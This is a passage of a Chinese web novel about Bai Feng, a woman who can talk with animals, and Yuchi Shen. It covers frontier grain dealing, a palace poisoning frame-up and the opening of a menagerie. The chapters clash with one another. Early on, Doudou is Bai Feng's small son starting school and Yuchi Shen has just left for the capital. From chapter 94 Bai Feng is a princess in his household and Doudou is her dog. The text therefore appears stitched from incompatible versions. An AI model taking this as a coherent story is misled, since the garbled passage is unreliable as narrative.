白凤想了想,也对。而且豆豆这段时间和尉迟深关系好得很,要是把他留在家里,估计得哭鼻子。 “那就麻烦你了。” “不麻烦。”尉迟深看了眼豆豆,难得露出一丝笑意,“我也挺喜欢这小子的。” 豆豆听了,小脸红扑扑的,害羞地躲到白凤身后。 第二天一早,三人就收拾好行李出发了。白凤骑着马,豆豆坐在她前面,尉迟深则骑着自己的黑马跟在旁边。 一路上,尉迟深时不时会跟豆豆说话,教他认路边的花草,讲一些边关的趣事。豆豆听得津津有味,眼睛亮晶晶的。 白凤看着他们,心里说不出的感觉。 她原本以为自己这辈子就带着豆豆过了,没想到会遇到尉迟深这样的人。他虽然看起来冷冰冰的,但对豆豆却格外耐心,比很多亲爹都强。 “在想什么?”尉迟深突然问。 白凤回过神,摇头:“没什么。” 尉迟深看了她一眼,没再多问。 三人走了五天,终于到了边关。 边关这地方,白凤以前来过几次,但每次来都觉得荒凉。放眼望去,到处都是黄土和枯草,偶尔能看到几户人家,也都是破破烂烂的土房子。 “这里就是边关?”豆豆好奇地问。 “嗯。”白凤点头,“这里常年干旱,种不出什么粮食,所以百姓都很穷。” 豆豆似懂非懂地点点头。 尉迟深带着他们直接去了最大的粮行。粮行的掌柜姓赵,是个精明的商人,一看到尉迟深就笑得见牙不见眼。 “哎呦,尉迟公子,您怎么来了?快请进快请进!” 尉迟深也不客气,直接说明来意。 “赵掌柜,我想收购一批粮食。” 赵掌柜一听,眼睛都亮了。 “收购粮食?好啊好啊!您要多少?” “越多越好。”尉迟深道,“但有个条件,价格要公道,而且要保证质量。” 赵掌柜拍着胸脯保证:“您放心,我老赵做生意,从来不掺假!” 白凤在旁边听着,心里暗暗好笑。这赵掌柜明显是个见钱眼开的主,但只要价格合适,倒也不怕他耍花招。 几人谈了半天,最后敲定了价格和数量。赵掌柜答应三天内把粮食准备好,尉迟深则先付了一半的定金。 走出粮行,白凤问:“你就这么相信他?” “不相信。”尉迟深淡淡道,“但我已经让人盯着他了。要是他敢耍花招,我有的是办法收拾他。” 白凤笑了。她就知道尉迟深不会这么简单。 接下来的几天,白凤和尉迟深四处打听消息,了解边关的情况。果然如尉迟深所说,有不少人在暗中囤积粮食,准备等赈灾粮一到就哄抬价格。 白凤心里有了数,开始联系那些粮商,表示愿意高价收购他们手里的粮食。那些粮商一听,都以为她是冤大头,纷纷把粮食卖给她。 等到赈灾粮快到的时候,白凤手里已经囤了一大批粮食。而那些原本想发国难财的奸商,却发现市面上根本没粮食可买了。 “怎么回事?粮食都哪去了?” “听说被一个外地来的女人全买走了!” “什么?她哪来这么多银子?” 那些奸商气得跳脚,但也无可奈何。白凤则趁机把粮食高价卖给朝廷,赚了一大笔银子。 尉迟深看着她,眼里满是赞赏。 “厉害。” 白凤笑了:“彼此彼此。” 这一趟下来,白凤不仅赚了银子,还帮朝廷解决了一个大麻烦。尉迟深也因此在边关立了功,皇帝听说后大为赞赏,特意下旨嘉奖。 但就在这时,京城传来消息,说尉迟深必须立刻回京述职。 尉迟深接到圣旨的那天,正是豆豆生辰。 白凤一大早就起来给他做长寿面,还特意煮了两个鸡蛋。豆豆高兴得不行,抱着碗吃得满嘴都是汤。 “娘,今天我可以不练字吗?”豆豆眨着眼睛问。 白凤正要答应,尉迟深却先开口了:“不行,功课不能落下。” 豆豆瘪瘪嘴,但还是乖乖点头。 这段时间相处下来,豆豆对尉迟深又敬又怕,但更多的是依赖。有时候白凤说话他还会讨价还价,尉迟深一开口,他就老老实实听话。 吃完饭,尉迟深带着豆豆去院子里练字。白凤收拾碗筷的时候,听到外面传来豆豆咯咯的笑声,忍不住探头去看。 只见尉迟深正教豆豆写“寿”字,豆豆写得歪歪扭扭,尉迟深也不嫌弃,耐心地一笔一划教他。 “这一横要平,不能往上翘。” “哦。”豆豆认真地点头,重新写了一遍。 尉迟深看了看,难得夸了一句:“有进步。” 豆豆高兴得眼睛都弯成了月牙。 白凤看着这一幕,心里软得一塌糊涂。她从来没想过,尉迟深这样的人,居然会对一个孩子这么好。 正想着,院门突然被人敲响了。 白凤去开门,门外站着一个穿着官服的人,手里拿着一卷圣旨。 “尉迟深何在?” 尉迟深听到声音,放下笔走了过来。他看到圣旨,脸色微微一变,但还是恭恭敬敬地跪下接旨。 “臣尉迟深接旨。” 那官员展开圣旨,念了起来。大意是说尉迟深在边关立了功,皇帝很高兴,让他立刻回京述职。 第93章 叔叔,你要走了吗? 念完圣旨,那官员看了尉迟深一眼,压低声音道:“尉迟公子,皇上说了,让您尽快回京,有要事相商。” 尉迟深点头,送走了那官员。 白凤站在一旁,心里突然有些空落落的。她知道尉迟深迟早要走,但没想到会这么快。 “什么时候走?”白凤问。 “明天。”尉迟深道,“圣旨上说得很急,不能耽搁。” 白凤点点头,没再说什么。 豆豆却急了,拉着尉迟深的衣角问:“叔叔,你要走了吗?” 尉迟深蹲下身,和他平视:“嗯,叔叔要回京城了。” “那、那你还会回来吗?”豆豆眼眶红了。 尉迟深沉默了一下,伸手摸了摸他的头:“会的。” 豆豆这才松了口气,但眼泪还是吧嗒吧嗒往下掉。 尉迟深看着他,心里也不好受。这段时间相处下来,他对这个孩子是真的喜欢。豆豆虽然年纪小,但懂事得让人心疼,从来不哭不闹,有什么事都自己憋着。 “别哭了。”尉迟深擦掉他的眼泪,“男子汉大丈夫,不能动不动就哭鼻子。” 豆豆用力点头,但眼泪还是止不住。 白凤看着他们,心里也酸酸的。她走过去,把豆豆抱进怀里。 “好了,叔叔说了会回来的,你就别哭了。” 豆豆抽抽搭搭地点头,但还是紧紧抓着尉迟深的衣角不放。 尉迟深叹了口气,干脆把他抱起来。 “走,叔叔带你去集市买糖人。” 豆豆一听有糖人,眼睛立刻亮了,但还是小声问:“真的吗?” “真的。” 三人一起去了集市。尉迟深给豆豆买了糖人,还买了一堆小玩意儿,把豆豆哄得高高兴兴的。 回来的路上,豆豆抱着糖人舍不得吃,一直捧在手心里。 “叔叔,我要把这个留着,等你回来了再吃。” 尉迟深笑了:“那你得放好了,别让老鼠偷吃了。” “我会的!”豆豆认真地点头。 晚上,白凤做了一桌子菜,算是给尉迟深送行。豆豆破天荒地喝了一小杯酒,喝完就趴在桌上睡着了。 尉迟深把他抱回房间,盖好被子才出来。 院子里,白凤正坐在石凳上看月亮。尉迟深走过去,在她旁边坐下。 “舍不得?”尉迟深问。 白凤愣了一下,才反应过来他说的是豆豆。 “嗯,这孩子跟你亲。”白凤道,“你走了,他肯定得难过好几天。” 尉迟深沉默了一会儿,突然问:“你呢?” “我?”白凤转头看他。 “你舍不得我吗?” 白凤没想到他会这么问,一时不知道该怎么回答。 说舍不得吧,好像太矫情了。说不舍不得吧,又好像太无情了。 “我…”白凤犹豫了一下,“我也会想你的。” 尉迟深听了,嘴角勾起一丝笑意。 “那就好。” 两人就这么坐着,谁也没再说话。月光洒在院子里,把他们的影子拉得很长很长。 第二天一早,尉迟深就要走了。 豆豆早早起来,眼睛红红的,明显是哭过了。他拉着尉迟深的手,小声说:“叔叔,你一定要回来。” “会的。”尉迟深揉了揉他的头,“你在家要听娘的话,好好读书。” “嗯!”豆豆用力点头。 尉迟深又看向白凤,张了张嘴,最后只说了一句:“保重。” “你也是。”白凤道。 尉迟深翻身上马,回头看了他们一眼,然后策马离去。 豆豆站在门口,一直看着他的背影消失在路的尽头,才转身回屋。 白凤看着他,心里也不好受。她知道豆豆是真的把尉迟深当成亲人了,现在他走了,豆豆肯定很难过。 “豆豆,过来。”白凤叫住他。 豆豆走过来,低着头不说话。 “叔叔说了会回来的,你就别难过了。”白凤摸了摸他的头,“而且你现在也大了,该去学堂读书了。” 豆豆一听要去学堂,眼睛亮了一下,但很快又暗了下去。 “可是学堂里的孩子会不会欺负我?” 白凤想了想,豆豆这个担心不是没有道理。他年纪小,又没什么朋友,去了学堂肯定会被欺负。 “不怕。”白凤道,“要是有人欺负你,你就告诉娘,娘给你出气。” 豆豆点点头,但还是有些不安。 白凤决定第二天就送他去学堂。 学堂在镇上,离家不算远。白凤带着豆豆去的时候,学堂里已经有不少孩子了。 夫子姓陈,是个五十多岁的老头,看起来挺和蔼的。他看到豆豆,笑着说:“这就是新来的学生吧?长得真俊。” 豆豆害羞地躲到白凤身后。 白凤和陈夫子说了几句,交了束脩,就让豆豆留在学堂了。 豆豆看着白凤离开,眼泪又要掉下来了,但他记得尉迟深说的话,硬是忍住了。 陈夫子带着他进了学堂,给他安排了一个座位。豆豆坐下后,发现周围的孩子都在偷偷看他,眼神里带着好奇和打量。 “你叫什么名字?”旁边一个胖乎乎的男孩问。 “豆豆。” “豆豆?这名字真怪。”那男孩笑了,“我叫王大壮。” 豆豆没说话,低头看着自己的书。 王大壮见他不理自己,撇了撇嘴,转头去和别的孩子说话了。 一上午的课,豆豆都很安静,也没人来找他麻烦。但到了中午休息的时候,情况就变了。 几个年纪大一点的孩子围了过来,为首的是个叫李二狗的,长得人高马大,一看就不好惹。 “你就是新来的?”李二狗打量着豆豆。 豆豆点点头。 “听说你没爹?”李二狗突然问。 豆豆脸色一变,攥紧了拳头。 “怎么,被我说中了?”李二狗得意地笑了,“没爹的野种,也配来读书?” 豆豆气得眼眶都红了,但他记得白凤说的话,不能随便打架。 “我不是野种。”豆豆小声说。 “你就是!”李二狗推了他一把,“野种野种,没爹的野种!” 其他孩子也跟着起哄,豆豆被推得往后退了几步,差点摔倒。 他咬着嘴唇,眼泪在眼眶里打转,但就是不肯掉下来。 陈夫子听到动静,走过来呵斥了几句,那些孩子才散开。 豆豆一个人坐在角落里,心里又委屈又难过。他想尉迟深了,要是叔叔在,肯定不会让人欺负他。 放学后,白凤来接他。豆豆一看到她,眼泪就掉了下来。 “怎么了?”白凤蹲下身,擦掉他的眼泪。 豆豆把今天的事说了一遍,白凤听完,脸色沉了下来。 “他们欺负你?” 豆豆点点头。 白凤想了想,突然笑了。 “豆豆,明天你还去学堂,但是娘给你准备一个惊喜。” “什么惊喜?”豆豆好奇地问。 “明天你就知道了。” 第94章 哪个姓沈的? 白凤这几日心情不错,尉迟深府里养的那只波斯猫最近总爱往她院子里跑。那猫通体雪白,眼睛一蓝一绿,是尉迟深从西域商队手里买来的,平日里高傲得很,见了生人都不带正眼瞧的。 “你家主子又不在府里,跑我这儿来做什么?”白凤蹲在廊下,拿根狗尾巴草逗它。 波斯猫慵懒地打了个哈欠,爪子在青石板上磨了磨:“那个姓沈的小姐又来了,烦死个猫。” “哪个姓沈的?” “就那个总爱穿粉色裙子的,上回还想抱我,手上那香粉味儿冲得我打了三天喷嚏。”波斯猫甩着尾巴,满脸嫌弃,“她今儿个带了只橘猫来,那只蠢猫见谁都舔,恶心死了。” 白凤愣了愣。府里来客她倒是知道,但带猫来的还真少见。她正想问得仔细些,就听廊外传来婢女的声音:“王妃,沈小姐特地带了她家的猫儿来,说是想让您给看看,这猫最近不爱吃东西。” “让她进来吧。”白凤站起身,拍了拍裙摆上的灰。 沈小姐叫沈怡,是户部侍郎的独女,生得一张圆脸,笑起来眼睛弯弯的,很是讨喜。她抱着只膘肥体壮的橘猫进了院子,一见白凤就福了福身:“见过王妃。” 白凤瞥了眼那只橘猫,这猫少说也有十来斤,圆滚滚的,哪里像不爱吃东西的样子。 “你这猫看着挺精神,怎么说不爱吃?” 沈怡把猫往白凤面前递了递:“王妃您看,它最近都不吃鱼了,以前一顿能吃半条,现在给它鱼它都不瞧一眼。” 橘猫懒洋洋地窝在沈怡怀里,眼皮都懒得抬。白凤试探着摸了摸它的脑袋,那猫倒也不躲,只是耳朵动了动。 “鱼吃腻了呗。”橘猫的声音闷闷的,“天天鱼鱼鱼,猫也是要换换口味的。” 白凤差点笑出声。她咳了一声,一本正经地说:“你家猫可能是吃腻了,换点别的试试,鸡肝、猪肺什么的。” 沈怡眼睛一亮:“原来如此!多谢王妃指点。”她顿了顿,压低声音,“王妃,外头都在传您能跟动物说话,这是真的吗?” 白凤心里一紧。这话题最近传得沸沸扬扬,她本想低调处理,没想到连闺阁小姐都知道了。 “外头的传言,你也信?”白凤笑着岔开话题,“你这猫养得不错,毛色油光水滑的。” 沈怡没再追问,又说了几句客套话便告辞了。等她走后,白凤才松了口气。那只波斯猫从花丛里探出头来:“我就说那只蠢猫讨厌吧,见谁都舔,一点猫样都没有。” “你少说两句。”白凤弹了弹它的脑门,“最近风声紧,你也给我老实点。” 波斯猫不满地叫了一声,扭着屁股跑了。 傍晚时分,尉迟深回了府。他一进门就往白凤院子里走,风尘仆仆的,连盔甲都没卸。 “怎么这么晚?”白凤接过他递来的佩剑,随口问道。 “宫里有事耽搁了。”尉迟深在椅子上坐下,端起茶盏喝了一口,“太子那边最近动作频繁,父皇让我盯紧点。” 白凤给他倒了杯热茶:“太子能翻出什么浪花?他那点本事,你还不清楚。” “话不能这么说。”尉迟深放下茶盏,眼里闪过一丝凝重,“最近朝中有几个大臣开始往太子那边靠了,户部的沈侍郎也在其中。” 白凤手一顿。沈侍郎,不就是今天那个沈小姐的父亲? “沈侍郎家的女儿今天来过府里。”白凤把沈怡来访的事说了一遍,只是隐去了猫说话的部分。 尉迟深皱了皱眉:“她来做什么?” “说是给猫看病,不过我看着不像。”白凤琢磨了一下,“多半是来探虚实的。” “你以后少跟这些人来往。”尉迟深握住白凤的手,“太子那边现在跟疯狗似的,见谁咬谁,你别被牵扯进去。” 白凤点点头,心里却有些不安。沈怡今天问的那个问题,恐怕不是随口说说那么简单。 第二天一早,宫里就来了旨意,说是皇后娘娘要在长春宫设宴,邀请诸位王妃、命妇进宫赴宴。白凤收拾妥当,坐着轿子进了宫。 长春宫里已经来了不少人,白凤进去的时候,太子妃正在跟几个夫人说笑。见白凤来了,太子妃脸上的笑容顿了顿,很快又恢复如常。 “三王妃来了,快请坐。”太子妃招呼道。 白凤福了福身,在下首的位置坐下。她扫了眼在座的人,除了几个熟面孔,还有个生面孔——一个穿藕荷色褙子的年轻女子,正端着茶盏,姿态端庄。 “这位是户部沈侍郎的千金,沈怡。”太子妃介绍道,“昨日刚选入宫中,被封为良娣。” 白凤心里一跳。良娣是太子妃之下的位份,沈怡这是进了东宫?她昨天还在尉迟深府里,今天就成了太子的人,这转变未免太快。 沈怡朝白凤微微颔首,笑容温婉:“昨日叨扰王妃了。” “不叨扰。”白凤客气地回了一句,心里却在盘算这里头的门道。 宴席摆上来,觥筹交错间,太子妃忽然说起了一桩趣事:“前几日听说三王府里养了只会说话的猫,不知是真是假?” 在座的夫人们都来了兴致,纷纷追问。白凤笑着摇头:“都是外头瞎传的,哪有什么会说话的猫。” “是吗?”沈怡接过话茬,“我昨日去王府,倒是见王妃跟那猫聊得挺投机。” 这话一出,席间忽然安静了几分。白凤端起茶盏,不紧不慢地喝了一口:“沈良娣怕是看错了,我不过是逗猫玩罢了。” “也许是我看错了。”沈怡笑了笑,不再多言。 宴席散了,白凤出了长春宫,刚走到御花园,就听见一阵窸窸窣窣的声音。她停下脚步,循声望去,只见花丛里蹲着只花狸猫,正盯着她看。 “你是谁家的?”白凤蹲下身。 花狸猫凑近了些:“我是御膳房的,专门抓老鼠的。” “御膳房?”白凤心里一动,“那你平时都在御膳房待着?” “对啊,那里吃的多。”花狸猫舔了舔爪子,“不过最近御膳房来了个新厨子,做的菜可香了,连我都想偷吃。” 白凤随口问了几句,正要起身,花狸猫忽然说:“对了,今儿个午膳的时候,我听那个新厨子跟人说话,说什么"今天就能见分晓了"。” 白凤浑身一僵。今天?见分晓? 她匆匆谢过花狸猫,快步往长春宫赶去。还没走到宫门口,就听里头传来一阵惊呼声,紧接着是太子妃的尖叫:“来人!快来人!” 白凤心里一沉,快步冲了进去。 第95章 已经去请了 长春宫里乱成一团,几个宫女跪了一地,太子妃捂着胸口,脸色煞白。皇后坐在主位上,眉头紧锁,手里端着半盏茶,茶水已经洒了大半。 “怎么回事?”白凤走进去,扫了眼屋里的情形。 “三王妃回来得正好。”太子妃指着桌上的一碟糕点,声音发颤,“这糕点有毒!刚才礼部尚书的夫人吃了一块,当场就晕过去了!” 白凤看向那碟糕点,是最常见的桂花糕,看着没什么异样。她又看向躺在软榻上的礼部尚书夫人,那夫人面色青白,呼吸微弱,确实像是中毒的样子。 “太医呢?”白凤问。 “已经去请了。”皇后沉声道,目光在众人脸上一一扫过,“这糕点是谁送进来的?” 一个宫女哆哆嗦嗦地跪了出来:“回娘娘,是御膳房刚送来的,奴婢亲手接的。” “御膳房?”皇后冷笑一声,“好大的胆子,竟敢在本宫的宴席上动手脚。” 太子妃这时忽然开口:“母后,这糕点是三王妃让人送进来的。” 白凤一愣,还没来得及反应,太子妃已经拿出一张帖子:“您看,这上头写着"特为母后准备的桂花糕,望母后笑纳",落款是三王妃。” 白凤接过帖子,只看了一眼就知道是假的。这字迹虽然模仿得像模像样,但笔锋太硬,跟她平时写字的习惯完全不同。 “这不是我写的。”白凤把帖子还给太子妃,“皇后娘娘见过我的字迹,应该能分辨真假。” 皇后接过帖子,仔细看了看,眉头皱得更紧:“确实不像白凤的字。” “那就是有人冒充三王妃。”太子妃咬了咬唇,“这事太过蹊跷,还请母后彻查。” 话音刚落,太医匆匆赶来。他给礼部尚书夫人把了脉,又检查了那碟糕点,脸色越来越凝重。 “娘娘,这糕点里确实有毒,是乌头碱。”太医跪下禀报,“好在尚书夫人只吃了一小块,毒性不深,服几剂解药就能醒过来。” “乌头碱?”皇后眼神一凛,“这可是剧毒,谁敢在宫里用这种东西?” “回娘娘,这乌头碱虽然是剧毒,但入口时有些许苦味,若不是糕点味道太甜,遮掩了苦味,尚书夫人也不会吃下去。”太医擦了擦额头的冷汗,“能想出这个法子的人,对毒药颇有研究。” 太子妃立刻接话:“母后,宫里谁对毒药最有研究,您心里应该清楚。” 这话摆明了是在指白凤。白凤之前确实帮皇后调配过几次药膳,宫里人多少知道一些。但她从没碰过乌头碱这种剧毒,太子妃这分明是在往她身上泼脏水。 “我没有下毒。”白凤直视皇后,“娘娘若是不信,大可彻查。” 皇后沉默了片刻,正要开口,门外忽然传来一阵犬吠声。紧接着,豆豆冲了进来,身后跟着一群慌乱的宫人。 “豆豆?”白凤惊讶地看着这只平时最怕生的小狗,“你怎么跑到宫里来了?” 豆豆跑到白凤脚边,冲着太子妃狂吠不止。太子妃被吓了一跳,往后退了几步:“这是哪来的野狗?还不快赶出去!” “它不是野狗,是我养的。”白凤蹲下身,摸了摸豆豆的脑袋,“怎么了?” 豆豆呜呜咽咽地叫着,白凤听了半天,脸色渐渐沉了下来。 “它说,它在御花园看见有人鬼鬼祟祟地往长春宫送东西。”白凤站起身,看向皇后,“那人穿着宫女的衣服,但走路的姿态不像宫人。” 太子妃冷笑:“三王妃,您这是在编故事吗?一条狗能说什么?” “它说的是真是假,去御花园查查不就知道了。”白凤不紧不慢地说,“豆豆的鼻子很灵,它能带我们找到那个人走过的路线。” 皇后沉吟片刻,点了点头:“那就去查。” 一行人跟着豆豆来到御花园,豆豆在地上嗅了嗅,往西边的小径跑去。那条小径通往冷宫,平时很少有人走。豆豆在一处假山旁停下,冲着石缝里叫个不停。 白凤走过去,从石缝里掏出一个小布包。布包里装着几块桂花糕,还有一个空瓷瓶,瓶口残留着白色粉末。 太医接过瓷瓶,仔细闻了闻:“娘娘,这瓶子里装的就是乌头碱。” 皇后的脸色彻底冷了下来:“继续查,看这东西是从哪里来的。” 豆豆继续往前跑,最后在一处偏殿外停了下来。那偏殿平时用来存放杂物,门上落了一把锁,看着很久没人来过。宫人打开锁,推开门,只见里头堆着些旧家具,角落里还放着几个木箱。 白凤走到木箱前,打开一看,里头整整齐齐地码着几十个小瓷瓶,瓶身上贴着标签,写着各种毒药的名字。 “这…”皇后倒吸一口凉气,“这里怎么会有这么多毒药?” 白凤拿起一个瓷瓶,翻到背面,只见底部刻着两个小字:“沈记”。 “沈记?”皇后看向白凤,“这是什么意思?” “如果我没猜错,这应该是户部沈侍郎家的药铺。”白凤把瓷瓶递给皇后,“沈家在京城开了三家药铺,都叫沈记。” 皇后的脸色变了变,看向太子妃:“太子妃,你对这事知情吗?” 太子妃慌忙摇头:“儿媳不知,儿媳真的不知道这里有这些东西。” “不知道?”白凤冷笑一声,“那沈良娣知道吗?” 沈怡脸色煞白,跪在地上,连话都说不出来。 皇后深吸一口气,冷声道:“来人,把沈良娣押下去,严加审问。另外,派人去沈府搜查,看看还有什么见不得人的东西。” “母后!”太子妃急了,“这事还没查清楚,怎么能…” “还没查清楚?”皇后打断她的话,“证据确凿,你还想袒护到什么时候?” 太子妃张了张嘴,最终什么都没说出来。 当天晚上,宫里传出消息,沈侍郎被革职查办,沈怡被打入冷宫。礼部尚书夫人服了解药,已经醒过来了,确认自己吃的就是那碟桂花糕。 白凤回到府里,尉迟深已经在书房等她了。 “听说宫里出事了。”尉迟深拉着白凤坐下,“怎么样,你没事吧?” “我能有什么事。”白凤靠在他肩上,“倒是太子那边,这次栽了个大跟头。” 尉迟深沉默了片刻:“你今天在宫里,是不是让豆豆帮忙了?” 白凤点点头。 “你…”尉迟深叹了口气,“你这样太冒险了。” “不冒险怎么洗清嫌疑?”白凤抬起头,看着尉迟深,“那些人摆明了是要我的命,我总不能坐以待毙。” 尉迟深没有说话,只是把她抱得更紧了些。 第96章 她不说 第二天,宫里又传出一个消息,太子妃的父亲,兵部侍郎李大人,也被牵连进了这桩案子。原来沈侍郎和李大人私下里有不少勾当,这次下毒的事,李大人也有份参与。 朝堂上,太子当场为父亲求情,却被皇帝驳回。李大人被革职查办,太子妃也受了牵连,在东宫禁足三月。 白凤听到这消息,心里五味杂陈。她本以为这事到此为止,没想到牵连出这么多人来。 “太子现在怕是恨死你了。”尉迟深坐在书房里,翻着手里的折子,“你以后出门,多带几个人。” “他能把我怎么样?”白凤不以为意,“有你在,他还敢对我下手?” 尉迟深抬起头,眼里闪过一丝担忧:“就是因为有我在,他才会对你下手。” 白凤愣了愣,还没来得及问,就听外头传来豆豆的叫声。她走出书房,只见豆豆正在院子里追着那只波斯猫跑。 “你别跑!我就是想问问你,为什么白凤能跟我们说话!”豆豆气喘吁吁。 波斯猫跳上墙头,居高临下地看着豆豆:“我怎么知道,你去问她自己啊。” “我问过了,她不说!” “那就是不想让你知道。” 白凤听着这一猫一狗的对话,头疼得很。她刚想把豆豆叫回来,就听院门外传来脚步声。 一个小太监匆匆跑进来:“王妃,宫里传旨,让您立刻进宫。” 白凤心里一紧:“出什么事了?” “奴才不知,只说是皇后娘娘有急事找您。” 白凤来不及多想,换了身衣服就进宫了。到了长春宫,却发现皇后脸色铁青,太子跪在地上,身边还站着几个大臣。 “白凤来了。”皇后看向她,“你可知道,今日朝堂上发生了什么事?” 白凤摇摇头。 “太子弹劾你,说你会妖术,能跟动物说话,蛊惑人心。”皇后叹了口气,“现在满朝文武都在议论这事,皇上让我问问你,这是真是假。” 白凤心里一沉。她就知道,豆豆今天的话,迟早会传出去。 白凤站在长春宫里,感觉到所有人的目光都落在自己身上。太子跪在地上,嘴角挂着一丝若有若无的笑意,那笑容里藏着得意,也藏着恶毒。 “回娘娘,这世上哪有什么妖术。”白凤不卑不亢地说,“不过是旁人以讹传讹罢了。” “以讹传讹?”太子冷笑一声,“那昨日在御花园,你是如何知道那条狗看见了什么?分明就是你会妖术,能听懂畜生说话!” “太子殿下这话说得奇怪。”白凤转头看向太子,“养狗的人多了,谁家的狗不会冲着陌生人叫?我不过是根据豆豆的反应,推测出有人鬼鬼祟祟罢了。” “推测?”太子站起身,逼近白凤,“那你如何推测出那人走的路线?如何推测出毒药藏在哪里?” 白凤没有退缩,直视太子的眼睛:“豆豆是猎犬,鼻子灵得很,追踪气味是它的本事。至于毒药藏在哪里,那是它嗅出来的,与我何干?” “你…” “够了。”皇后打断太子的话,“太子,你若是有证据,就拿出来。若是没有,就不要在这里胡搅蛮缠。” 太子咬了咬牙,从怀里掏出一张纸:“母后,这是京城里十几家药铺的证词,都说三王妃曾去买过各种奇怪的药材,还问过如何与动物沟通的法子。” 白凤接过那张纸,扫了一眼,心里冷笑。这证词假得离谱,她从没去过那些药铺,更没问过什么与动物沟通的法子。 “这证词是假的。”白凤把纸还给太子,“那些药铺我一家都没去过。” “你说假的就假的?”太子冷笑,“那我们就让那些掌柜的来对质,看看到底是谁在说谎。” 皇后沉吟片刻,点了点头:“那就宣那些掌柜的进宫。” 不过半个时辰,十几个掌柜的就被带进了长春宫。这些人进来就跪了一地,一个个诚惶诚恐的样子。 “你们可认得这位三王妃?”皇后指着白凤问道。 几个掌柜的抬头看了看白凤,纷纷点头:“认得认得,这位就是三王妃。” “她可曾去过你们的药铺?” “去过去过,前些日子还去过几回呢。”一个掌柜的抢着说,“小的记得清清楚楚,王妃买了不少药材,还问了些稀奇古怪的问题。” 白凤冷眼看着这些人,心里已经明白了。这些掌柜的分明是被人收买了,才会在这里信口雌黄。 “你们说我买了药材,可有账本为证?”白凤问道。 几个掌柜的面面相觑,有一个壮着胆子说:“账本…账本前些日子被老鼠咬坏了,小的正在重新誊写。” “真巧。”白凤笑了,“十几家药铺的账本,都被老鼠咬坏了?” 那掌柜的额头冒出冷汗,支支吾吾说不出话来。 “既然没有账本,那你们说我买了什么药材,总该记得吧?”白凤步步紧逼,“说来听听。” “这…”掌柜的们你看看我,我看看你,半天说不出个所以然来。 “说不出来了?”白凤冷笑,“我倒是记得,前些日子府里的管事去过几家药铺,买了些寻常的药材。你们怕不是把管事当成我了?” “对对对,是管事,不是王妃。”一个掌柜的忽然改口,“小的记错了,是管事来买的药。” 太子脸色一变,厉声道:“你们刚才不是说是三王妃吗?怎么现在又说是管事?” 那掌柜的吓得磕头如捣蒜:“小的糊涂,小的糊涂,求太子殿下饶命。” 皇后看着这场闹剧,脸色越来越难看。她挥了挥手:“来人,把这些人押下去,严加审问。若是敢在本宫面前说谎,就别怪本宫不客气。” 几个掌柜的被拖了下去,长春宫里一时安静下来。太子跪在地上,脸色阴沉得可怕。 “太子,你还有什么话”皇后冷冷地问。 太子咬了咬牙,忽然抬起头:“母后,就算那些掌柜的是假证,但三王妃能跟动物说话,这事宫里人人都知道。昨日在御花园,那条狗分明就是在跟她说话,这事做不了假。” “你亲眼看见了?”皇后反问。 “儿臣…儿臣没有亲眼看见,但是…” “既然没有亲眼看见,那就是听说的。”皇后打断他的话,“你身为太子,竟然拿这些捕风捉影的传言来污蔑三王妃,成何体统?” 太子张了张嘴,最终什么都没说出来。 白凤站在一旁,心里却没有半点轻松。她知道,太子今天虽然输了,但这事绝不会就此罢休。 第97章 又要搞什么名堂? 白凤站在御书房外,手里攥着一封密信。 “宣白凤觐见。” 她踏进殿内,皇帝正批阅奏折,尉迟深立在一旁。 “臣女听闻北疆蛮族屡犯边境,驯养的战马不足。”白凤开门见山,“臣女愿为皇家驯兽,保边疆无虞。” 皇帝抬眼,打量着这个敢在朝堂上舌战群儒的女子。 “你可知驯兽非同儿戏?战马性烈,稍有不慎便会伤人。” “臣女自幼与兽为伴,这点本事还是有的。”白凤语气平淡,却透着股子自信,“不过臣女有个条件。” 尉迟深眉头微挑。这女人,又要搞什么名堂? “说。” “臣女想在京郊建个园子,把那些跟着我的动物都安置进去。”白凤掰着指头算,“每日开放给百姓观赏,收些门票钱,也好养活它们。” 皇帝愣了愣,随即笑出声来。 “好!准了。朕倒要看看,你这园子能开成什么样。” 白凤行礼退下,尉迟深跟了出来。 “你就不怕那些畜生闹出乱子?” “怕什么?我那些小弟个个听话得很。”白凤回头冲他眨眨眼,“再说了,让它们天天吃白食,我可养不起。” 三日后,京郊荒地上热闹非凡。 白凤指挥着工匠搭建围栏,规划区域。老虎、黑熊、狼群各占一方,中间还留了片空地养鹿和兔子。 “这边挖个池子,给鳄鱼住。” “那边搭个高台,让猴子们有地方玩。” 工匠们面面相觑,这辈子头一回见有人把猛兽当宠物养。 尉迟深骑马过来,远远就看见白凤蹲在虎笼前,正往里头扔肉。 “吃饱了就给我好好表演,别偷懒。”她拍拍老虎脑袋,“门票钱可都指望你们了。” 老虎打了个响鼻,算是应了。 “你还真把它们当长工使唤?”尉迟深翻身下马。 “不然呢?总不能白养着。”白凤拍拍手站起来,“对了,你来得正好。帮我看看这布局,有没有什么问题。” 尉迟深扫了一圈,指着西北角。 “那边地势低,雨季容易积水。” “有道理。”白凤招呼工匠,“把那片垫高些,再挖条排水沟。” 两人并肩走在园子里,白凤絮絮叨叨说着规划,尉迟深偶尔插两句话。 “你说,这园子开张后,会不会有人来?”白凤突然问。 “会。”尉迟深语气笃定,“京城百姓见惯了花鸟鱼虫,猛兽却是稀罕物。” “那就好。”白凤松了口气,“我还愁赚不到钱呢。” 半月后,园子建成。 白凤亲自写了块牌匾——百兽园。 开园那天,门口排起长龙。百姓们攥着铜板,伸长脖子往里瞧。 “真有老虎?” “听说还有熊!” “我要看狼!” 白凤站在门口收钱,笑得见牙不见眼。 “成人五文,孩童三文,进去后不许投喂,不许大声喧哗。” 人群涌入,惊叹声此起彼伏。 老虎在笼中踱步,威风凛凛。黑熊直立起来,足有两人高。狼群聚在一起,绿莹莹的眼睛盯着游客。 “娘,你看那猴子!” 一只猴子抓着绳子荡来荡去,还冲人群做鬼脸。 白凤靠在树下,数着铜板。 “今天进账三两银子。”她满意地点点头,“照这个势头,不出半年就能回本。” 尉迟深牵马路过,看她那副财迷样,忍不住摇头。 “你就不怕哪天兽笼坏了,出了人命?” “不会。”白凤拍拍胸脯,“我的小弟们都听话,再说了,笼子我让工匠加固过三遍,铁条比手腕还粗。” 话音刚落,远处传来一声尖叫。 白凤蹭地站起来,撒腿就跑。 虎笼前围了一圈人,一个孩童趴在栏杆上,手里拿着块糕点正往里递。老虎凑过来,张嘴就要咬。 “住口!” 白凤一声厉喝,老虎动作一顿,乖乖退了回去。 她三两步冲过去,一把拽住孩童后领,将人拎了出来。 “谁家孩子?不识字吗?牌子上写着不许投喂!” 